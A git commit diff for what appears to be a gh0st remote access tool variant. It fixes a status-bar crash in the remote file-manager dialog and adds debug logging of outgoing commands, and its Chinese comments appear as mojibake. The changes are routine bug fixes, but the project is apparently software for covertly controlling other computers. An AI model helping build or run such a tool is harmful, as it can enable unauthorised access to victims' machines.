fix: 文件管理对话框SetPaneText崩溃,传输故障

This commit is contained in:
yuanyuanxiang
2021-03-14 19:54:52 +08:00
parent 0a6641baec
commit 2c870f1952
6 changed files with 36 additions and 7 deletions

View File

@@ -160,6 +160,7 @@ BEGIN_MESSAGE_MAP(CFileManagerDlg, CDialog)
ON_COMMAND(IDM_REMOTE_OPEN_HIDE, OnRemoteOpenHide)
ON_NOTIFY(NM_RCLICK, IDC_LIST_LOCAL, OnRclickListLocal)
ON_NOTIFY(NM_RCLICK, IDC_LIST_REMOTE, OnRclickListRemote)
ON_MESSAGE(WM_MY_MESSAGE, OnMyMessage)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
@@ -1110,14 +1111,17 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
void CFileManagerDlg::ShowMessage(char *lpFmt, ...)
{
char buff[1024];
char *buff = new char[1024];
va_list arglist;
va_start( arglist, lpFmt );
memset(buff, 0, sizeof(buff));
memset(buff, 0, 1024);
vsprintf(buff, lpFmt, arglist);
m_wndStatusBar.SetPaneText(0, buff);
// fix: <20><><EFBFBD>̲߳<DFB3><CCB2><EFBFBD><EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// m_wndStatusBar.SetPaneText(0, buff);
// msg <20><>1<EFBFBD><31><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С,<2C><>2<EFBFBD><32><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>
SendMessage(WM_MY_MESSAGE, 1024, (LPARAM)buff);
va_end( arglist );
}

View File

@@ -6,6 +6,8 @@
#endif // _MSC_VER > 1000
#include "gh0st2Remote.h"
#define WM_MY_MESSAGE (WM_USER+300)
// FileManagerDlg.h : header file
//
@@ -15,6 +17,16 @@ typedef CList<CString, CString&> strList;
class CFileManagerDlg : public CDialog
{
protected:
// <20><><EFBFBD><EFBFBD>״̬<D7B4><CCAC><EFBFBD><EFBFBD>Ϣ
afx_msg LRESULT OnMyMessage(WPARAM wParam, LPARAM lParam)
{
char *buff = (char*)lParam;
m_wndStatusBar.SetPaneText(0, buff);
delete[]buff;
return S_OK;
}
// Construction
public:
bool m_bIsStop;

View File

@@ -521,7 +521,17 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength)
{
assert (ContextObject);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
if (ulOriginalLength < 100) {
char buf[100] = { 0 };
if (ulOriginalLength == 1){
sprintf_s(buf, "command %d", int(szBuffer[0]));
}
else {
memcpy(buf, szBuffer, ulOriginalLength);
}
OutputDebugStringA("[COMMAND] Send: " + CString(buf) + "\r\n");
}
try
{
if (ulOriginalLength > 0)